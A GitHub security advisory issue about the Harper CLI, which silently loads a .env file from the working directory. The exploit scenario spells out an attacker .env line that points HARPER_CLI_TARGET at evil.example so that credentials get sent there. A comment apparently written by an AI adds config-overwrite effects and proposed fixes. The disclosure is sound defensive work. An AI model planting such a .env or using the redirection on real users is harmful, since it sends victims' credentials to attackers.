Skip to content

[security] CLI silently autoloads .env from the current working directory to resolve target/credentials #1927

Open

Description

@heskew

Severity: LOW · Category: improper-input-validation · CWE-20
Location: bin/cliOperations.ts:238 in cliOperations

Impact

Running a CLI operation in a directory containing an attacker-planted .env can send the operation (and any sensitive parameters passed as key=value, e.g. a new user's password) to an attacker-controlled endpoint instead of the intended local/remote Harper instance.

Details

An untrusted .env file in the current working directory (e.g. inside a downloaded/cloned project you are about to deploy) is loaded into process.env, which then feeds resolveTarget/username/password; a command run without an explicit target= is silently redirected to an attacker-controlled HARPER_CLI_TARGET.

Exploit scenario

An attacker ships a repo/tarball containing .env with HARPER_CLI_TARGET=https://evil.example:9925. The victim cd's into it and runs a harper operation (e.g. harper add_user username=admin password=secret). resolveTarget picks up the attacker target from the autoloaded env and the request, including the credential parameters, is sent to the attacker's server.

Preconditions

  • Victim runs a harper CLI operation with cwd inside an attacker-controlled directory
  • The corresponding HARPER_CLI_TARGET/CLI_TARGET is not already set in the real environment (dotenv does not override existing vars)
  • Victim does not pass an explicit target= argument

Recommended fix

Do not implicitly load .env from an arbitrary cwd for a credential-bearing CLI; require an explicit opt-in path, or ignore target/credential-related keys sourced from a cwd .env, and warn when a target is resolved from an env file rather than an explicit argument.


Found by an automated multi-agent security review (Claude Security) against origin/main @ 2615b092b, confirmed by a three-lens verification panel. Line numbers are as of that commit. No code was executed; derived from source review, so validate before remediation.

Activity

  1. added
    area:securitySecurity, TLS/certs, authentication, authorization
    on Jul 23, 2026
  2. added this to the v5.2 milestone on Aug 6, 2026
  3. added theissue type on Aug 6, 2026
  4. kriszyp commented on Sep 1, 2026

    @kriszyp
    Member

    The scope here should widen: beyond HARPER_CLI_TARGET redirecting the connection, a poisoned CWD .env can make a nominally read-only CLI op silently rewrite a different live instance's config file on disk.

    Verified on origin/main @ fb762a365:

    • bin/cliOperations.ts:872 (drifted from :238), bin/login.ts:22, bin/logout.ts:8 all call dotenv.config() with no path, so a CWD .env is trusted.
    • ROOTPATH from that .env redirects initConfig() — reached at bin/cliOperations.ts:762 on the no-explicit-target= branch, i.e. exactly an ordinary local read like get_configuration — onto a different running instance's root.
    • applyRuntimeEnvVarConfig (config/configUtils.ts:1310) then persists unconditionally: atomicWriteFile(configFilePath, String(configDoc), {skipIfUnchanged:true}) at :1404, whenever it's the main thread and a configFilePath is present. There is no read-only guard anywhere on that path.

    Measured by re-reading the file after a read-only op: logging.level flipped error → trace on the other instance's on-disk YAML.

    Two honest narrowings worth recording so nobody over-scopes this: bin/run.ts (server start) takes no dotenv at all, and a poisoned run's getHdbPid() comes back empty, so it reports "Harper is not running" rather than proxying to the live socket — the mutation is maximally silent but does not compound into impersonation. Exposure shape is the one already described here: a shared checkout or a CI runner.

    Same fix direction as filed (stop trusting CWD .env / make the autoload opt-in with an explicit path), plus a second half not covered today: applyRuntimeEnvVarConfig should not have a disk-write side effect reachable from a read-only CLI path at all.

    From dispatch QA finding qa-wave-2026072414:1. — Claude (Opus 5)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    area:securitySecurity, TLS/certs, authentication, authorization

    Type

    Fields

    Priority

    P2

    Projects

    No projects

      Milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions